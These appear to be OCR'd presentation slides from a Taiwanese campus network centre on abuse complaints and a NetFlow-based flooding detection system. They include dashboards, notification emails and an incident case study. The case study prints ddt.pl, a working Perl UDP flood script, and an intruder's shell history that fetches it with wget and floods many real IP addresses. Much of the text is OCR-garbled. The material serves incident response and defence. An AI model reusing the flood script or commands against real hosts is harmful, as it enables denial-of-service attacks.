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1. Abuse i 4 % & T A 47

» B ¥ AR L kIR
- Abuse complain log
- abuselncu. edu. tw  #% abuseif v
- pRHEEF AR
- FDS (Flooding Detection System)

» Flooding B # 4% % 3+
- R R ¥ flooding sources

s PR F g 2 AR
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 Abuse complain&aJL
- http://ayang. tyc. edu. tw/~yang/Moe/1ndex spam. php

- PortScan/Password crack

- Spam (A £/4 #)

- Infringement (&)= £ 4 4 #)
- Phishing (Fraud)
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2. Flooding 7% ] (FDS)

» Technology to protect against abuse
threats
- PortScan, Spam and Packet flooding

« Share a crucial common feature

« Send out excessive probes/messages to a huge
amount of destination sSystems
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2. Flooding 72 (cont. )

* A cheap accessible way for detecting
flooding anomalies over Gateway
- Gathering NetFlow data (router)

- Constructing feature of the anomaly
« Portscan, spam, ssh password crack

- Aggregating and sort out top—-N sources

- Detecting the anomaly
- Comparing the multiple traffic variables
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2. Flooding 2t 7% (cont. )

- FDS (Flooding Detection System)
- Flooding & % Ui+ % BT
« http://l1sa. tyc. edu. tw
- (a) PortScan anomaly
- (b) SMTP flooding
- (c) UDP packet flooding
- (d) P2P Traffic Measurement **

2006-09-28 ikl IR
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http://lisa.tyc.edu.tw/

A Flooding B ¥ AFEE S - Microsoft Internet Explorer

PEEE BEO HHY SHRE0 TAED ®E w
QL= -© KRG Pradrawszr @ - 8- @B

ﬁiﬁ@’@] http:flisa.tyc.edu.tw/ VI$§§ i ”
Googler | v [C#E -9 ¢ BITIEEE ¥ HERE - BB S

A

PREE#E 0~ Flooding S5 SRS & #l

[ HEESP LEE [ #ES AbueFIF ][ EEH AbueFIF 1[ FRARENHE )

® Flooding £ B #IH H
Q@ & i £30
WEw PeE

P wuprys

SMTP Flooding FF5 5238 (Spara)
PortScan S8 FFE EC8

SSH % 535 558 (FEREHEiE0)
UDP Packet Flooding 51175 B2 381
BB R Flooding B E TS

i 2 2 E 8 A ABGEE

—ERRFLIHEE (anti-virs) BUHE, TR BB E RS (Windows Updates) EE 38 IR R M BRI EEAER T A5 IFE SRy D hacke TR L AR ER SEER IS R ER RS
D [PvG w328 35 |  Fant-virosdicewallZ T B 3L EF M BT SRREIA ST, Thafiss BUTATHERS 0 L 1B 7 BEIRA M B4R B F BRI SRAT BT ARAT. B 32230

BOrAREN s 57 .
_ PortScan 25 ARG {EH]

= A BHEIBIR S (ntrusion detecton syster, IDSYE W B A DA SEABRE 8%, Mscrver farm BV, 1RBDEHE A SSEIEA 500, TOBIFF AV 1. £ i B R 4R routingH885, H8M1— 8 9128 Flooding
P ropNmsmi]  FRBENR AT RIS 02

@met SPIMBE

Vi waEnay

Ve gk 12 448

SMTP &% A EH

& HERNSERE #t Spam BT 88 SMTP Flooding R % MBHERIFS LI T RIARE0LH 8 @230 L3

I R e ST L A

ERLEE

e | gz R AR

Blsans fEpss B 3 (Sysadmin, Audit, Network, Security) Institute

W] oo smanse 2 HeBE lbisE £ 48 HEahar PRIR D W= Hgt it 22 dsti e 2 e T TS AT D TY
& © HEEREE

RSN D 9

3

¥4 Ui E - Outlook ... & 185EEEE Moe S S 4 Inte . v [€ Microsoft PowerPo... | [ 2 Windows Ex w | @ 1632525516-4... m o4 o g ’(/1( <4 L2E 1057



SMTP Floodingit 725 B % F : Detected anomalies

3 http=/{163.25.255. 16/~yang/Moefindex_ab spamstc.php - Microsoft Internet Explorer |:||E|g| :
R WEG BRG BEFW IO FREW ar
QO+r=E O HEG eSSz @ @ o-L 8- E" i
HEHED |§.| hitp=163.25.255, 16/~vang/Moelindex_ab_spamsre.php ~ | B &=

Y 2 -[F D ERr T

128 [ 2| 180 - o #H - i -

DR - ¥HE - 9EE - %K -

e d

Y

H HH:1202-- Abnormal Mail Relay Hosts

Abnormal Mail Relay Hosts of TYC (TaoYuan Network Center)
12 ¥ 5[o2 g SUBMIT |

( 12-02)
src_IP =4 /. 4.4.(25) Flow Packet MBytes Pkt_Sz(B/Pkt) Hr_Flws School_Mame
163.25.154.253=4. 8. 4. 4.(25) 12764 970353  1233.2 1270.9 73 HREEE EESEpE
163.25.206. 1=4 4.4 .4.(25) 143 390450 391.5  1002.8 23 Tabet - kE & EF R -WER/~
165.25.54. 07=4 4. 4.4.(25) 4812 413314 3800 341.2 56 Tatet -SkFERE#F & - FIZE/)~
140,138, 137.S4=4 . 8. 4. 4.(25) 3551 64301 12.2  198.4 66 FEEE T A A
163.25.50. 1048 4. 4. 4.(25) 3360 306326 114.6  374.0 13 Tatet -SEERFEF & - =PI~
165,25, 187, 120=4 4.4 .4.(29) 3277 40552 15.1  324.1 54 Tatet -SEEREEF B - GFIEF
140.115.236.47=4. 8. 4. 4.(25) 2222 220516 250.3  1135.2 20 oh ofr - AR o e
203.71.101. 1=4. 4 4.4 .(25) 2173 183882 171.7  $33.% 42 FEEEME  sEcEs
163.25.233.25=4. 8 4.4 .(25) 1521 25179 5.0 197.1 11 Tabet -FEEGESH TR - R EE/)
st [P =4 4. 8. 4.0(25) Flow Packet Bytes{MB) Pkt Sz(B/Pkt) Ab Hr Fls
163.25.187.120=4. 4 4.4 .(25) 11705 45934 2.29 4% .83 132(11705)
163.25.233.25=4. 4 4.4 .(25) 8453 39552 2.13 53.80  125(8453)
140.115. 112, 1474 4 4 #.(25) 6911 29460 1.32 44 .84 27(6211)
2 P18 1SN TO 1414 H H H P28 130 1A4ARA M Gn A7 20 A 81300 '
.-?-;T_ B G = 7 O3, - M2E ~ ¥ 20utl.. ¥ @ Wi .i: mail_att... = = Q',.'i_r‘:: P B 1028




E E & The suspicious Spamming Host 163.25.50.105 in Your Camplus
: D EED WEC R0 TEO EMMD SREE

% ® v & X o O W
EE ZIEE 2 BH F|ET ik  E—@ T—@ @ i@zHER

A center? @cc.ncu.edu, twr

1 HH: 20048E 105 12H B 10:38
Wt center? @cc.ncu.edu.twi mis @host3.nmes tvc.edu.twr eric @ mail tyc.edu. tw
FH: The suspicions Spamming Host 163.25.50.105 m Your Camplos

Pleaze help the owner of the machine
to check and fix its Cpen Mail Relay Problem or Patch
Please refer the detail traffic log on

http:#163.25.255. 16/~vane/Moe/index_ab spamsrc.php
Manv Thanks |
From : susna vang

SRC IP=#.#.#.4.(Serv_port) Flows pk_size(KB) Pkts Total(MB)
163.25.50.105=203.65.76.252.(25) 803 0528 30374 15656
163.25.50.105=163.17.200.129.(25) 465 0513 18146 9083
163.25.50.105-210.241.85.53.(25) 460 0538 17128 8999
163.25.50,.105=80.88.36.130.(25) 610 0059 4694 0271
163.25.50.105=61.107.31.33.(25) 517 0056 3443 0,190

EE| el

| BE®- (L] EREEW- . OO 420 E 2-S-A-==CE0@.
=h 32161 MNetwork FEc a5 EF 4

©@ Q- @5 v~ T4 vowm (A3 53 ~OR. (@M oo LI e s (B |

£




Port ScanzH 25 1118 : Detected anomalies

a hittp=ff163.25.255. 16{-—~vang/Moefindex_abuse port.php - Microsoft Internet Explorer

BED WmEE R BERER TAEO REO

Q- O NEG s ke @un @ 2-LEU 0 3ED
LB ® LR |@ http://163.25.255, 16/~vangMoefindex_abuse_port.php ~ | a BEE
;Gonglevl LI B Search Web - | §2 | 83 blocked B AutoFill | B Options 40

IF Prefiz BEEIEEE Scanning FR o fcifd ey

Summarizing SYN Floodinf /Port Scan over TaoYuan Network Center

HEF.0312

src [P =#.#.#.#

B~y l17Tvg SUBMKIT

DST P1/Flows

DST P2/Flows

DST P3/Flows

DST _P4/Flows

{FwRate *Hour)[Shool]

140,115,135 170=4# . # . # .4 4200/2432201 1@ 101341 * 24[iHdrcERimEs
140, 115.227 .220=4# . # # .4 1730071794435 1@ 112152 * 16[HEAEESHERE ()]
203 .68 .82 2034 # 4 # B129/227067 135/253755 4457220525 1@ 53445 ¥ 2] EEEIEITER D]
203.62.00. 1534 4.4 .4 B129/125040 1357182901 445165136 139/160647 1@ 86715 * B[ BHEEFLiTEEs)]
203.68.54 40 # ## 6129/151357 1357261833 445/ 172077 1@ 25446 * 23[ BHEFETTELRS ]
140,138,108 . 164 . # . # .4 135/574736 1@ 23047 * 24 [T AE
203 .68.TH 2004 4 4 4 B129/211998 1357170416 445138586 1390484 1@ 57942 * O BREEMTER
203.68.87. 2074 #. 4.4 6129/179134 1357202203 4457134379 1@ 30341 * |7 BEEiLiTE %u
140.115.98 . 2504 . # . # .4 17300 /446721 445/5254  |@ 45197 * 10[ 97 A SR
140,115,130 724 . # . # .4 5129753208 135/51296 44552328 20/57822 1@ 31917 * |4[HEAEEHELE]
203.63.41.T=#. 4. 4.4 135/259125 20/00040 @ 19308 * |8[EHERFLITERRG ] B
140 . 115.206 . 225# . # . # . # 17300 /325342 445/ 11079 @ 67284 * 5[HEAEEEIERL ()]
140,138,246 . 1324 . # . # . # 135/223051 445/90104 @ 13256 * 24 [ TLE AE)
I03.68.82.834 F 44 135/212375 445/51442 139716666 1@ 11686 * 24 BHeIE TR
210,240,213, 2384 4 4 4 135/114080 445/141187 20/10653 13070406 1@ 11475 * 24 [ F LM
14013240 . 2084 # # . # 135/137269 445/124015 13073441 1@ 11030 * 24 [ ToE A £
140,138,145 . 124 # # . # 14337250853 1@ 50170 * 5[TCE AL X
140.138.248 804 . # # . # 1357155278 445/81077 1@ 9885 ¥ 24/ LB AE ~ K

oG 2 ”E N > Nl P . i i



Port Scanzflis &l : (S N7

. . % % 4B x50
& The suspicious PoriScan Host 140.115.80.244 in Your Sesment Network |__||D”x| =
CRBEE FEE wiReD TEO EHen R

& G 8 | :;.-,- ) Q W . B
EE =2EEE #F% 2 FH il +—@ T—@E B

i A center? @cc.ncu.edn. twr
HHH- 2004ETH2oH B 0025

WetkA: center? @ce.nen.edu.twi . @avang. tye.edu.tw arden @ met.ncu.edu.tw
*5: The suspicious PortScan Hest 140115280244 1 Yeur Segment Network

{EHIZEHERE =8 140.115.80.244 *
TR RE L SR PR EERREE LR -

FrAlPort ScanFAFS 2B M E: :
http:/#163.25.255. 16/vang/Moefindex_abuse port.php
Many Thanks ! B
From : susna vang

B
Date : 0729 Month-Day]=====s======—==—ooooooooooo oo e
SRC IP=##4#4#.(Serv _port) Flows pk_size(KB) Pkis Total(MB)
140.115.80.244=# # #£.#.(135) 6233 0.048 11309 (0543
140.115.80.244 =g . 2. 2.02745) 6103 0.048 13643 0.655
140.115.80.244=# #.4.4.(445y 3331 0.045 5000 0.288
140.115.80. 244 =# # 4401025, 3178 0.048 7106 0.341
140 115 BN 2Ad -4 # # # (3177 1855 NNd4R 4111 107 )

@ B~ 7 @3sHS.,. | Rhps1632.,. RO NCUT. &8 20ulok. v E[E M€ ok DT BT 0037 9



UDP Packet Flooding% i#l4i® (- ) : Hourly Anomalies

R hitp:/1163.25.255.16/ ~vang/Moe/index_evil.php - Microsoft Internet Explorer r__|l§”g|
 EREE WEE WR BAREER THEO SHEE a
QrF- O RNEAG s imereme 2-L 8- @ 3EY

FELE |@ http:f163.25.255. 16/~vang/Moedindex_evil. php b ! EE |
R 44ad T + = [-E2 ] aEm - oFH - s BT - ofRE - YHEE - VIR - @FE - >

UDP Attack Traffic Statistic of Taovuan Network Center =

; HEH:0200-- UDF Attack Logshf

We should investigate the Traffic Pairs and Association
IF the Pair Packet counter = 10,000,000
OR the Pair _Total counter = 10,000 MB

SEC_IP = DST_IP Flows pk_s=izel(KB) FPkts TotaliMB)

UDF 02-09 :: 00

140.115.155.8=62.219.113.127 1255006 0.046 62816008 2821 693
140.115.160.47=217.132.237 .9 1249653 0.046 30281724 1380.232
140.117.205.162=203.72.244 .6 2 1.449 S00211 707,821
140.113.135.4=192.192 .42 194 3 0.072 162205 11.378

ATATS] 17 1AM 100 7 o LT o i |

Sl ﬂ Eeal...

b} AN A Wl = 1 C T

T -l :3 Dezr... B B W30 - oo | .Q‘,i;,_\ S i T 0522

s 20




UDP Packet Flooding%: 041 (=) : Detected Anomalies

3 hitp:#f163.25.255. 16/ —vans/Moefindex udp flood.php - Microsoft Internet Explorer
BEE #REE R0 BERMEER) TED SREEH)

QT O RNRAG PEsLmer @ @ 2-2 8 JiBH®

DaERE i : FERET :@"I http:f163,25.255, 16/ ~vang/Meefindex_udp_fleod. php > !

Google'] A:‘j & Search Web - | 2 | Eh33 blocked E T ®d Options 2

Flood Traffic of UDP Procols (TaoYuan Network Center)

=

|___—| T
|02 viﬁ[ﬂg v |g| SUBMIT

H HH:020%-- Packet Flood Traffic of UDF Pratocals

sre_IP =dst_IF Flows Plts Brvtas Plt 27 (Fkt_Rate *Hounri[Zhoaol]

140,115,156 .35266 .252.7.97 0407947  BO5080846 31263 45 l@@ 63271804 * 11 [ E2EA L]
140 .115.160 .47=217 . 132 .123 .5 31530818 220673767 0912 45 l@@ 11614408 * 10 [Aroo Bl THais
140 .115.160 .47=80 179 .228 . 107 26202356 205142857 9214 45 @@ 11396825 * 13 [t & aiiT
140.115.155.8=62.219.113.127 8824066 189336844 £504 45 l@@ 17212440 * 11 [sHseAE2 3 ;]

140.115.155 .8>66 .252 .7 .97 GETE552 86177637 3870 45 @@ 7234330 * 11 [rde 8 @EEH 4]
140,115,160 .47=217 .132.237.9 2277025 55400076 2492 45 @@ 27745038 * 2 [ BRI

© G - "I@2ss, v Sah. v 3 Windo. | #NU.. [ GjDesres, oo €) =5 &



Transportation Byte/Octet MRTG B4 H/ M HE

a Traffic Analysis for Gigaport 2/12 - YZU-TYC - Microsoft Internet Exploter |__”§‘R|
 BEE REO BEO BHNEEQ TED RHEW o
QtE-O HEAG/ P Lwsr @ -2 0 -LEFHLS

B = : HEAED) |@ http:iflisa. tye.edu. twi~mrtgfven-tye. html - ‘ BE

Trattic Analysis tor YZU-TYC

[

itMame:  Gigapart 2/12
Iar Speed: 12.5 MBytes/s
Ip: XR.71.2.238 ()

FArigetEmaEae. 2005 —H 3 H, 28, 1731,
418 TANET_NCU_C6K' - BB {EISREI(UPTIMEY: 365 days, 1:26:06.
#H HE 5 28 F19)

2000 M

150.0 M
1000 M

90.0 M

Bits per Second

00N

1 12 14 16 18 20 22 o 2 4 6 8§ 10 12 14 16

B A0 1906 MY (19.1%) T 75 2:100.1 MbES (10.9%) BT 5500:04.2 MbES (0.4%)
B s 0LIMBEL 0.1%) Y i 432 MbED (4.3%) BRI 6.0 MbES (4.6%)

8 J® (30 08 T4

420 a M




Transportation Packet MRTG EGHIA T H

a IP Packets for Taoynan NOC - YZAU - Microsoft Internet Explorer

EED WEQ BRY BHEER TAD 2O B
0= 0 HAG P ymexe - 0- JEBHES
kS = E%Hi_IJZ(D_)|@http:a’a’163.25.255.16f~mrtg."smurfe’smurf_vzu.html V|$§§

IP Packets for Taoyuan NOC -- YZU

I E R SR 2005 —H 3 H, E8M, 17:20,
i & T " TANET_NCU_C6K' - 25E{EIFRIUPTIMEY. 365 days, 1:15:55.

f7H BEX (5 28 F59)

136.0 k

1020 k 4
65.0 k

3.0k

IP Packet Count

0.0k
10 12 44 16 15 20 22 0 2 4 6 § 10 12 14 16

Fo 1325 kB R 00530 kBAS BT 01305 kKBRS
B fidl: 174 kBAS Y 1.4 kBAS BRY fd:12.1 kBAD

28 Bl* 30 o E Fi)

132.0 k

P Packet Count

2006-09-28 PR R S 23



J. X >/IFMHEME

« NCU Case: Abuse source from NCU
- Linux 0S

- Detection & Notification
« Ssh password crack

- UDP packet flooding
- Ftp password crack
« Spam
- Abuse source tracking
- ddt. perl, shell script 1 & script 2

2006-09-28 MO T g
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UDP Packet Flooding (NCU_Case)

(ECHIRI4EES £4% 140.115.23.1

AT BE &S RN BT R, aR Tid B P IE A B S &ire 1 4.

The IP machine over your segment with the address of 140.115.23.1 machine
may be infected by worms.

BV, root IYETS#GE > 35T T YIMERZ A0 B 27

SRC _IP>#.#.#.#.(Serv_port) Flows pk size(KB) Pkts  Total(MB)
140.115.23.1>##.##%# 1408080 0.046 86675435 3893480
140.115.23.1>###4%# 2047530 0.046 134822357 6056.161
140.115.23.1>####%# 1989145 0.046 129263947 5806.466
140.115.23.1>####%# 1969192 0.046 130470426 5860.820
140.115.23.1>####%# 1953292 0.046 130209531 5849.047
140.115.23.1>#.###%# 1892689 0.046 135355286 6080.168

140.115.23.1># #.## 1904571 0.046 136985253 6153.300
2006-09-28 ORI R R 20



ddt.pl (UDP packet flooding Pgrn)

my ($ip,$port,$size,$time);
$ip=$ARGVI[0]; $port=8ARGVI[1]; $time=SARGV[2];
socket(crazy, PF_INET, SOCK_DGRAM, 17);
$iaddr = inet_aton("$ip");
printf "udp flood - odix\n";
if (FARGV[1] ==0 && $ARGV[2] ==0) { goto randpackets; }
if (FARGV[1] =0 && $ARGV[2] !=0) { system("(sleep $time;killall -9 udp) &");
goto packets; }
if (FARGV[1] =0 && $ARGV[2] ==0) { goto packets; }
if (FARGV[1] ==0 && $ARGV[2] '=0) { system("(sleep $time;killall -9 udp) &");
goto randpackets; }

packets:  for (;;) { $size=$rand x $rand x $rand;
send(crazy, 0, $size, sockaddr_in($port, $iaddr)); }
randpackets: for (;;) { $size=$rand x $rand x $rand;
$port = int(rand 65000) +1;
send(crazy, 0, $size, sockaddr_in($port, $iaddr)); }

2006-09-28 ORI R R 26



# wget http://www.geocities.com/yaniv_virus/ddt.pl

# perl ddt.pl 193.201.54.24700
# perl ddt.pl 66.92.68.36 0 0
# clear
# perl ddt.pl 83.229.72.6 0 0
# perl ddt.pl 208.185.83.23 00
# perl ddt.pl 208.185.83.40 0 0
# perl ddt.pl 208.185.81.11 00
# perl ddt.pl 208.185.83.1 00
# perl ddt.pl 208.185.83.58 0 O
# perl ddt.pl 192.42.93.3200
# clear
# perl ddt.pl 72.20.16.141 00
# perl ddt.pl 208.185.83.31 0 0
# perl ddt.pl 208.185.83.23 0 0
# perl ddt.pl 208.185.83.10 0 0
# perl ddt.pl 207.126.105.146 0 O
# perl ddt.pl 192.228.79.201 00
# perl ddt.pl 82.166.127.226 0 0
# clear
# perl ddt.pl 209.67.212.13800
# vi .bash_history

2006-09-28 PR TP


http://www.geocities.com/yaniv_virus/ddt.pl

# cd Deaktop/

# tar -zxf httrack-3.40.tar.gz

# cd httrack-3.40.3

# install-sh

# # configure

# ./configure

# make; # make check; # make install ;# make clean
# clear

# perl ddt.pl 82.165.43.123 00
# perl ddt.pl

# perl ddt.pl 82.165.43.123 00
# perl ddt.pl 72.20.28.8500

# perl ddt.pl 84.94.61.6 0 0

# ping -t 72.20.28.85

# ping -t 72.20.28.85 /I 65500
# ping 72.20.28.85 -t

# ping 72.20.28.85

# clear

# ping 72.20.28.85

# clear

# perl ddt.pl 82.165.43.123 00

2005-3Pos A
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httpd - DSSL sz # (NCU Case)

AN

i ATEEIDNS AW ARHIEIS -
%2.450S £ fedora core 4, Ik 155
ps -aux|more FE| NIEH]

sui 12474 99.9 0.3 8448 3260 ? R Sepl2 1425:49
/usr/local/apache/bin/httpd -DSSL

top 5<%

12474 sui 25 0 84483260 1376 R 99.9 0.3 1438:35 perl
Hr sui 2T LAYZETIRSE » SEFEAIEEUEEENE

SER > AR E o s

B JEs 20060913

2006-09-28 ikl IR
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[FFE] —1& /usr/sbin/httpd -DSSL X%

L)
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